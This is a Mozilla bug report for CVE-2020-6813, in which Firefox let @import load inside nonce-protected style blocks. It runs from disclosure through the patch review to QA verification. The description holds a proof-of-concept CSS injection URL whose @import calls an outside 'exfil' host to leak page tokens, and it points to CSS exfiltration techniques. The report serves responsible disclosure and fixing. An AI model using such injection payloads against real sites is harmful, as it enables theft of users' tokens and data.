1605814 - (CVE-2020-6813) CSP nonce based doesn't block @import requests inside <style> tags with a properly nonce

Status: VERIFIED FIXED

(Core :: DOM: Security, defect, P2)

Description

[Matheus Vrech]

When user is able to inject CSS in some page protected by CSP nonce, firefox won't block @import requests making possible to leak sensitive content data.

Mozilla Developer Network documentation (https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/style-src
) says: "You can use a nonce-source to only allow specific inline style blocks"

So it seems that page should block intead of load arbitrary styles, as chrome does.

PoC:

To demonstrate this bug I wrote a web page that receives CSS from a parameter 'css' and insert it into a nonced style in page: http://abrasax.club/csp/css/?css=body{background-color:%20blue;}

the CSP defined by this page is: Content-Security-Policy: default-src 'self'; style-src 'nonce-e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'; img-src data: http: https:; font-src data: http https

When some user abuse include @import tag the external content is included without get blocked by firefox: http://abrasax.club/csp/css/?css=@import%20url(https://l4t.cc/exfil/a.css);

when the same url is displayed in chrome it gets blocked, even if the source content becomes from the same domain: http://abrasax.club/csp/css/?css=@import%20url(./b.css);

So it becomes possible to abuse the load of @import exfiltrate leak page information, like tokens that didn't change in every request, small token's that reload for each request and for bigger tokens that reload for each refresh (using @import tehcnique: https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b or using font technique: https://twitter.com/terjanq/status/1180477124861407234)

I also sent 2 videos in attachments showing attack examples.

Comment 1

[Jonathan Kingston [:jkt] he/him]

Attachment: Bug 1605814 - Ignore capturing CSP nonce when loading a child sheet. r?emilio

Comment 2

[Jonathan Kingston [:jkt] he/him]

:emilio this looks like we are capturing the element's nonce whenever we load a child sheet, can you confirm if we are able to remove this behaviour when loading like this?

Comment 3

[Emilio Cobos Álvarez (:emilio)]

So, just to confirm my understanding of the patch...

Before your patch, when you call LoadChildSheet, we look at the owner node of the topmost stylesheet here. That should be the <style> element. Then we get to CheckContentSecurityPolicy with aIsPreload=No, so we check the nonce attribute and call SetCspNonce before checking CSP, which passes and thus we load the @import.

Your patch makes us not grab the nonce attribute, so that it fails the CSP check. Right?

So it seems reasonable to me off-hand. But we're still passing the <style> element down for other CSP checks. Is that what we want? Another alternative would be to just don't do the "walk-the-parent to find the owner node" thing. What other checks is the requesting node needed for in child sheets?

Also there's another SetCspNonce call, shouldn't it behave the same? Though I think it's only for sync loads.

Another thing... We seem to be checking the nonce attribute even for non-inline stylesheets more generally (so for <link> and such)... is that expected?

Depending on the answers above, it may be a better approach to just change HTMLStyleElement::GetStyleSheetInfo to thread the nonce attribute value down like we do for the integrity attribute on <link> and such.

Comment 4

[Jonathan Kingston [:jkt] he/him]

(In reply to Emilio Cobos Álvarez (:emilio) from comment #3)

So, just to confirm my understanding of the patch...

Before your patch, when you call LoadChildSheet, we look at the owner node of the topmost stylesheet here. That should be the <style> element. Then we get to CheckContentSecurityPolicy with aIsPreload=No, so we check the nonce attribute and call SetCspNonce before checking CSP, which passes and thus we load the @import.

Your patch makes us not grab the nonce attribute, so that it fails the CSP check. Right?

Yep this is all my understanding also :).

So it seems reasonable to me off-hand. But we're still passing the <style> element down for other CSP checks. Is that what we want? Another alternative would be to just don't do the "walk-the-parent to find the owner node" thing. What other checks is the requesting node needed for in child sheets?

I think we still want the loadingPrincipal for this load otherwise we would skip the checks altogether too (I'd like to harden CheckContentPolicy to require a loadingPrincipal as a follow up to this).
I think we also want the node put into the LoadInfo otherwise we won't have a CSP for the document if I understand that code correctly: https://searchfox.org/mozilla-central/rev/053826b10f838f77c27507e5efecc96e34718541/netwerk/base/LoadInfo.cpp#1535

Also there's another SetCspNonce call, shouldn't it behave the same? Though I think it's only for sync loads.

There are two within LoadSheet my understanding is they don't suffer from the child sheets issue.

Another thing... We seem to be checking the nonce attribute even for non-inline stylesheets more generally (so for <link> and such)... is that expected?

Depending on the answers above, it may be a better approach to just change HTMLStyleElement::GetStyleSheetInfo to thread the nonce attribute value down like we do for the integrity attribute on <link> and such.

I think this is how this worked prior to https://bugzilla.mozilla.org/show_bug.cgi?id=1509738 but I might not be understanding correctly (I think this bug is the regressor however haven't checked).

Comment 5

[Jonathan Kingston [:jkt] he/him]

Re-ni'ing

Comment 6

[Emilio Cobos Álvarez (:emilio)]

(In reply to Jonathan Kingston [:jkt] from comment #4)

I think we still want the loadingPrincipal for this load otherwise we would skip the checks altogether too (I'd like to harden CheckContentPolicy to require a loadingPrincipal as a follow up to this).

You would get the loadingPrincipal anyway from the document, right?

I think we also want the node put into the LoadInfo otherwise we won't have a CSP for the document if I understand that code correctly: https://searchfox.org/mozilla-central/rev/053826b10f838f77c27507e5efecc96e34718541/netwerk/base/LoadInfo.cpp#1535

Same, if you don't pass the <style> element you get here and get the document, right?

There are two within LoadSheet my understanding is they don't suffer from the child sheets issue.

Sure, but then CaptureNonce should be more explicit.

Another thing... We seem to be checking the nonce attribute even for non-inline stylesheets more generally (so for <link> and such)... is that expected?

Depending on the answers above, it may be a better approach to just change HTMLStyleElement::GetStyleSheetInfo to thread the nonce attribute value down like we do for the integrity attribute on <link> and such.

I think this is how this worked prior to https://bugzilla.mozilla.org/show_bug.cgi?id=1509738 but I might not be understanding correctly (I think this bug is the regressor however haven't checked).

That is totally not how it worked? I don't see any code in HTMLStyleElement.cpp being removed there :-)

Comment 7

[Jonathan Kingston [:jkt] he/him]

Attachment: Bug 1605814 - Don't capture CSP nonce when loading a child sheet. r?emilio

Comment 8

[Jonathan Kingston [:jkt] he/him]

Attachment: Bug 1605814 - Test to ensure we don't inherit nonces for @import

Comment 9

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Please get a security rating and - if necessary - sec-approval for the bug.

Comment 10

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

Patch bitrotted by https://hg.mozilla.org/integration/autoland/rev/7fbae42f209dc12e287f479de03ea1a7f13fb5c8 from bug 1607702.

Comment 11

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/integration/autoland/rev/85d79c1e43dfe5a67f4d6e71a84190c138bc563b

Comment 12

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/mozilla-central/rev/85d79c1e43df

Comment 13

[Ryan VanderMeulen [:RyanVM]]

Can this fix ride the trains or should we consider uplift?

Comment 14

[Jonathan Kingston [:jkt] he/him]

I think we should just let it ride the trains the risk isn't high but neither is the importance I don't think. I suspect I should check in the test soon though.

Comment 15

[Brindusa Tot, Desktop QA]

Verified as fixed on Nightly 74.0a1, Build ID 20200116214549 on Windows 10 and Ubuntu 16.04.

Comment 16

[Matheus Vrech]

Will tomorrow's release have the fix for this issue, or only the next release?

Comment 17

[Ryan VanderMeulen [:RyanVM]]

This was fixed for Firefox 74 which doesn't ship until next month. It will be available on the Beta channel tomorrow if you want to test.

Comment 18

[Matheus Vrech]

ok, thank you for the info!

Comment 19

[Tom Ritter [:tjr]]

Attachment: advisory.txt